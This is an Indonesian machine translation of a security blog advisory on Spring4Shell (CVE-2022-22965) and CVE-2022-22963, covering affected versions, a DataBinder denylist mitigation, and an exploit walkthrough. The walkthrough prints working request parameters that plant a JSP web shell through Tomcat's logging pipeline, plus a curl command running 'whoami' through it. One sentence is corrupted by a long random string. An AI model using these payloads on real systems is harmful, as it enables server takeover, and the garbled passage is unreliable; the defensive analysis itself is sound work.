Spring4Shell: Analisis Keamanan kerentanan Java RCE '0-day' terbaru

 Spring4Shell: Analisis Keamanan kerentanan Java RCE '0-day' terbaru

Awalnya diposting 30 Maret 2022.

Pembaruan, Patch Tersedia : Patch sekarang tersedia untuk Spring4Shell di versi Spring 5.3.18 dan 5.2.20 dan CVE resmi telah diterbitkan sebagai CVE-2022-22965 .

Apa itu ?

Dua kerentanan serius yang mengarah ke eksekusi kode jarak jauh (RCE) telah ditemukan dalam kerangka kerja Spring yang populer, satu di Spring Core dan yang lainnya di Spring Cloud Functions .

Siapa yang terpengaruh ?

Siapa pun yang menggunakan Spring Java 9atau yang lebih baru, terutama yang menggunakan TomCat. Java 8 tampaknya tidak rentan.

Sejauh ini, satu-satunya eksploit yang dikonfirmasi bergantung pada Spring yang digunakan dengan TomCat. Namun, vektor lain dapat ditemukan. Kami merekomendasikan semua pengguna Spring memperbarui, dimulai dengan mereka yang menggunakan TomCat.

Kedua kerentanan

1. Spring4Shell - RCE di Spring Core

Kerentanan ini, dijuluki "Spring4Shell", memanfaatkan injeksi kelas yang mengarah ke RCE penuh, dan sangat parah. Nama "Spring4Shell" dipilih karena Spring Core adalah pustaka yang ada di mana-mana, mirip dengan log4j yang memunculkan kerentanan Log4Shell yang terkenal .

Kami percaya bahwa pengguna yang menjalankan JDK versi 9 dan yang lebih baru rentan terhadap serangan RCE. Semua versi Spring Core terpengaruh.

Ada strategi untuk mengurangi serangan, dan kami percaya bahwa tidak semua server Spring rentan, tergantung pada faktor lain yang dibahas di bawah . Karena itu, saat ini kami menyarankan agar semua pengguna menerapkan mitigasi atau pembaruan jika mereka menggunakan Spring Core.

Sebuah CVE sekarang telah diterbitkan untuk kerentanan ini sebagai CVE-2022-22965 .

Catatan: ada juga kelemahan deserialisasi yang belum dikonfirmasi di Spring Core yang berpotensi menyebabkan RCE untuk Spring Core <=5.3.17 .

Detail lebih lanjut tentang kerentanan ini di bawah

2. RCE di "Fungsi Cloud Musim Semi "

• CVE-2022-22963 : RCE yang dikonfirmasi di Spring Cloud Function (<=3.1.6 dan <=3.2.2).

Jika Anda menggunakan pustaka Spring Cloud Function, Anda harus meningkatkan ke 3.1.7+ atau 3.2.3+ untuk mencegah serangan RCE.

Detail lebih lanjut tentang CVE-2022-22963 di bawah ini

Spring4Shell

Pada 29 Maret 2022, satu set Tweet (sekarang dihapus) diterbitkan dari akun Twitter Cina yang menunjukkan tangkapan layar dari eksploitasi 0-hari POC baru di perpustakaan Java Spring Core yang populer . Itu disebut sebagai "Spring4Shell" atau "SpringShell" oleh pengguna online.

CVE ditambahkan pada 31 Maret 2022 oleh pengembang Spring sebagai CVE-2022-22965 .

Pembaruan : Penulis Spring telah menerbitkan tambalan untuk ini dengan versi 5.3.18 dan 5.2.20

Menerapkan Mitigasi

Tambalan sekarang tersedia mulai 31 Maret 2022 dalam versi Musim Semi terbaru yang diterbitkan 5.3.18 dan 5.2.20 . Kami menyarankan semua pengguna memperbarui. Bagi mereka yang tidak dapat memperbarui, mitigasi berikut mungkin dilakukan:

Menurut pos Praetorian yang mengkonfirmasi keberadaan RCE di Spring Core, pendekatan yang direkomendasikan saat ini adalah menambal DataBinderdengan menambahkan daftar hitam pola lapangan rentan yang diperlukan untuk eksploitasi.

Tinjau bagian kami tentang cara kerja eksploitasi dan mengapa mitigasi ini menambal vektor serangan "Manipulasi Pemuat Kelas" yang digunakan oleh RCE.

CATATAN

Mendapatkan Spring untuk memuat BinderControllerAdvicemungkin memerlukan langkah-langkah manual untuk memuatnya. Kami akan memperbarui panduan ini dengan detail lebih lanjut tentang cara melakukannya segera.

import org.springframework.core.Ordered;
import org.springframework.core.annotation.Order;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.InitBinder;

@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {
    @InitBinder
    public void setAllowedFields(WebDataBinder dataBinder) {
        // This code protects Spring Core from a "Remote Code Execution" attack (dubbed "Spring4Shell").
        // By applying this mitigation, you prevent the "Class Loader Manipulation" attack vector from firing.
        // For more details, see this post: https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
        String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
        dataBinder.setDisallowedFields(denylist);
    }
}

Atau, Anda dapat menyuntikkan mitigasi dengan menambahkan metode ke pengontrol:

import com.pinger.fun.model.EvalBean;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.propertyeditors.StringTrimmerEditor;
import org.springframework.ui.Model;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.InitBinder;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;

@RestController
public class IndexController {
    @RequestMapping("/index")
    public void index(EvalBean evalBean){
        System.out.println("Hello world!");
    }

    // You only need to add this method in one of your controllers in order to prevent exploitation.
    @InitBinder
    public void initBinder(WebDataBinder binder) {
        // This code protects Spring Core from a "Remote Code Execution" attack (dubbed "Spring4Shell").
        // By applying this mitigation, you prevent the "Class Loader Manipulation" attack vector from firing.
        // For more details, see this post: https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
        String[] blackList = {"class.*","Class.*","*.class.*",".*Class.*"};
        binder.setDisallowedFields(blackList);
    }
}

Analisis Kami

Spekulasi seputar RCE ini awalnya bahwa ini terkait dengan perubahan yang dibuat pada Spring Core yang mencela fungsi "pengecualian kloning" lama yang menggunakan serialisasi dan deserialisasi Java. Ini bermasalah karena deserialisasi dengan nilai string yang tidak tepercaya, di Java, memungkinkan penyerang mendapatkan RCE.

Namun, dalam hal ini, ada faktor-faktor yang meringankan karena di mana fungsi ini diekspos. Secara default, itu hanya diekspos dalam @CacheResultanotasi ( code ) yang membutuhkan pengecualian untuk dilempar dan kemudian di- cache. Bahkan jika kerentanan ini dapat dieksploitasi, itu tidak akan mudah dieksploitasi seperti Log4Shell . Ini bukan vektor serangan yang awalnya dihipotesiskan.

INFORMASI

Pembaruan: Vektor " Deserialization Injection " yang awalnya dihipotesiskan bukanlah vektor serangan yang digunakan oleh tangkapan layar Twitter asli yang dihapus. Orang-orang telah mengkonfirmasi bahwa masalah ini disebabkan oleh kelemahan yang memungkinkan serangan "Manipulasi Pemuat Kelas" saat @RequestMappingdigunakan untuk mengurai permintaan.

Tinjauan Skenario Eksploitasi

Kami telah merekayasa balik informasi ini dengan menganalisis beberapa POC seperti ini dan dengan menulis aplikasi untuk membantu kami menguji eksploitasi "nyata".

Pertimbangkan kode di bawah ini:

public class Greeting {
    private long id;

    public long getId() {
        return id;
    }

    public void setId(long id) {
        this.id = id;
    }
}

@Controller
public class HelloController {
    @PostMapping("/greeting")
    public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
        return "hello";
    }
}

Menjalankan permintaan:

curl 'http://localhost:8080/greeting?id=test'

Akan mencoba mengurai parameter kueri id=testke dalam Plain Old Java Object (POJO) requestyang bertipe Greeting. Dengan permintaan normal ini, Spring RequestMappingakan menggunakan setter for iduntuk mengatur bidang nama POJO menjadi "test".

Kerentanan ada karena nilai-nilai lain yang dapat diatur.

Menjelajahi nilai-nilai yang dapat diatur menggunakan parameter kueri, kami melihat bahwa classitu dapat diakses. Kami dapat melintasi properti classdengan parameter kueri kami dan menemukan bidang tempat kami dapat menulis dan memiliki arti untuk eksekusi program:

curl 'http://localhost:8080/spring4shell?class.module.classLoader.resources.context.parent.pipeline.first.pattern=test'

Permintaan selanjutnya dapat dikeluarkan yang mengatur properti logging Tomcat berikut:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Mengeksploitasi kerentanan ini mirip dengan metode untuk mengeksploitasi CVE-2010-1622 .

Mengeluarkan permintaan akhir akan menggunakan nilai yang telah ditetapkan untuk mengeksploitasi kerentanan

curl http://localhost:8080/shell.jsp?cmd=whoami

Sebuah file akan ditulis ke: webapps/ROOT/shell.jspdan itu akan berisi muatan dari properti pola Tomcat yang ditetapkan di atas. File ini akan digunakan untuk memformat log untuk server dan perintah arbitrer dapat diteruskan menggunakan parameter kueri cmd.

Penting untuk dicatat bahwa ini hanya diuji untuk bekerja pada server Apache Tomcat . Tanpa dijalankan di server Tomcat, properti logging di atas tidak akan ada. Metode eksploitasi lain yang masih belum diketahui akan dibutuhkan.

Uji Eksploitasi sendiri

Anda sekarang dapat menguji eksploitasi ujung-ke-ujung Spring4Shell dengan aplikasi yang rentan ini dan eksploitasi yang telah kami publikasikan. Ini adalah garpu dari Spring4Shell POC reznok. Kode untuk exploit dapat ditemukan di file ini .

Kami telah melalui dan memverifikasi bahwa eksploitasi ini berfungsi dengan membangun pekerjaan dari banyak peneliti keamanan lainnya yang menggali ini. Saat kami terus mengerjakannya, kami akan menambahkan perubahan tambahan pada repo itu.

Dari tangkapan layar Twitter yang samar hingga POC yang berfungsi dalam waktu kurang dari 4JUdGzvrMFDWrUUwY3toJATSeNwjn54LkCnKBPRzDuhzi5vSepHfUckJNxRL2gjkNrSqtCoRUrEDAgRwsQvVCjZbRyFTLRNyDmT1a1boZVAnda untuk mewujudkannya!

CVE-2022-22963 - Kerentanan

Kerentanan RCE serius ditemukan di library Spring Cloud Function . Ini adalah kerentanan terpisah dari Spring4Shell, dibahas di atas.

Karena kerentanan ini ditemukan hampir bersamaan dengan Spring4Shell, dan CVE pertama kali diterbitkan, ada banyak kebingungan di antara keduanya secara online. Ini sedang dilacak oleh CVE-2022-22963 , dan ini hanya memengaruhi pustaka Spring Cloud Function yang merupakan pustaka Java terpisah dari Spring Core .

Kerentanan ini saat ini memiliki skor CVSS 5,7 dan telah diketahui POC tersedia di Twitter dan GitHub ( lain ).

Analisis Kami

Kerentanan ini nyata. Jika Anda menggunakan pustaka Spring Cloud Function, Anda harus meningkatkan ke 3.1.7+ atau 3.2.3+ untuk memitigasi RCE ini.

Situasi Saat Ini

Mencoba memahami informasi apa yang "nyata" dan mitigasi apa yang benar-benar berfungsi sangat sulit sebelum CVE diterbitkan. Itu terutama benar ketika pengembang Spring sendiri awalnya menyangkal bahwa ada masalah.

Sekarang setelah patch CVE dan Spring resmi telah diterbitkan, ada jalur mitigasi yang jelas bagi pengguna.

Ini adalah situasi yang sangat membingungkan karena dua kerentanan diterbitkan dalam paket pegas Spring (Spring Core dan Spring Cloud Function) pada waktu yang hampir bersamaan. Sekarang CVE resmi untuk Spring4Shell telah diterbitkan sebagai CVE-2022-22965 , jauh lebih jelas untuk membedakan keduanya.

Yang penting untuk diingat adalah bahwa kerentanan ini BUKAN seburuk Log4Shell. Semua skenario serangan lebih kompleks dan memiliki lebih banyak faktor mitigasi daripada yang dilakukan Log4Shell karena sifat caranyaeksploitasi deserialisasi Serangan Manipulasi Pemuat Kelas berfungsi di Jawa.

Dengan Log4Shell, eksploitasi itu sepele dan eksploitasi dapat ditulis dalam hitungan detik yang berfungsi di sebagian besar aplikasi.

Dengan Spring4Shell, eksploitasi membutuhkan pengetahuan Java yang mendalam untuk mendapatkan POC yang berfungsi. Manipulasi Pemuat Kelas lebih rumit untuk dipahami daripada kerentanan Log4Shell.

Beberapa Konteks

Deserialisasi saja bukan CVE

Mengapa tidak segera menyatakan ini sebagai masalah dan menambah kepanikan?

Ketika kami pertama kali menulis posting ini, tingkat ketidakpastiannya jauh lebih tinggi daripada sekarang. Dan, dengan sendirinya, Eksekusi Kode tidak terlalu mengkhawatirkan. JavaScript masih memiliki evalfungsi yang disertakan di setiap server atau browser Node.js, tetapi itu tidak dianggap sebagai kerentanan keamanan sampai penyerang memiliki cara untuk memasukkan input string ke dalam evalkonten yang mereka kontrol.

Untuk mencapai itu, untuk sebagian besar aplikasi, penyerang harus dapat memodifikasi kode sumber aplikasi secara langsung untuk memberikan diri mereka akses untuk mengeksekusi eval. Dan, pada saat itu, mereka tidak perlu evallagi karena mereka bisa memasukkan kode mereka sendiri!

Itulah sebabnya para pakar keamanan menyebutnya sebagai serangan "Remote Code Execution" (RCE). Kami hanya khawatir ketika pengguna yang tidak sah dapat mengeksekusi kode dari jarak jauh . Itulah yang membuat Log4Shell menjadi kerentanan RCE yang buruk karena pengembang mencatat variabel yang dikontrol pengguna (seperti nama pengguna) sepanjang waktu!

Kemiripan dengan Log4Shell

Ada banyak kesamaan antara Spring4Shell dan Log4Shell di luar nama mereka. Kembali pada bulan Desember kami adalah tim pertama yang menulis tentang (pada saat berspekulasi) kerentanan Java RCE di log4j yang kami temukan beredar di Twitter.

Kami awalnya menamakan kerentanan itu "Log4Shell" karena, pada saat itu, karena CVE 2021-44228 belum dipublikasikan atau tim Apache belum mempublikasikan pemberitahuan keamanan apa pun tentang masalah tersebut.

Dan, seperti saat itu, informasi yang salah dapat menyebar dengan cepat dan mudah. Jauh lebih mudah untuk memotret tangkapan layar yang menunjukkan eksploitasi dan "mengedit detail" di photoshop daripada menyelidiki kerentanan keamanan dalam basis kode besar seperti Spring Core. Juga mudah untuk memberi tahu orang-orang cara "memperbaiki" kerentanan tanpa bukti apa pun bahwa mitigasi itu efektif. (Itulah sebabnya CVE ke-2 diterbitkan di log4j .)

Pengguna di Twitter telah menyebut kemungkinan RCE ini "Spring4Shell" untuk membedakan kerentanan RCE. Kami menggandakan istilah itu, sebagai pengganti CVE yang tepat, untuk membantu pengguna mencarinya secara terpisah dari RCE lain yang disebutkan dalam posting ini.

Untungnya, ini bukan "insiden" pertama yang kami tanggapi, dan kami senang membantu menjinakkan kekacauan. Lihat daftar pujian kami di bagian bawah posting ini untuk melihat siapa lagi yang membantu kami menulis ini!

Dapatkan pemberitahuan secara otomatis

Kami telah secara aktif memposting pembaruan kecil dan detail di utas Twitter ini . Jika Anda ingin mendapatkan pembaruan otomatis tentang perkembangan baru yang berkaitan dengan Spring4Shell, Anda dapat berlangganan buletin kami di bagian bawah posting ini.

Anda dapat bergabung dengan buletin pembaruan email kami di bagian bawah posting ini untuk menerima pembaruan dari kami setiap kali kami menerbitkannya.

Kami berjanji untuk tidak mengirim spam kepada Anda dan hanya mengirim email kepada Anda beberapa kali per bulan. Kami hanyalah tim Insinyur Keamanan yang membangun alat Keamanan Aplikasi Sumber Terbuka, dan bukan perusahaan yang mencoba untuk naik ke kereta hype kerentanan terbaru .

Selain itu, kami sedang membangun alat Open Source yang disebut LunaTrace yang dirancang untuk memberi tahu Anda ketika kerentanan baru seperti ini ditemukan dalam kode Anda. Kode ini tersedia di GitHub dan versi host kami tersedia untuk dicoba (masih dalam pengembangan aktif, jadi mungkin ada bug). Ini juga tersedia sebagai Aplikasi GitHub yang akan memindai Permintaan Tarik Anda secara otomatis untuk kerentanan baru.

sumber : https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/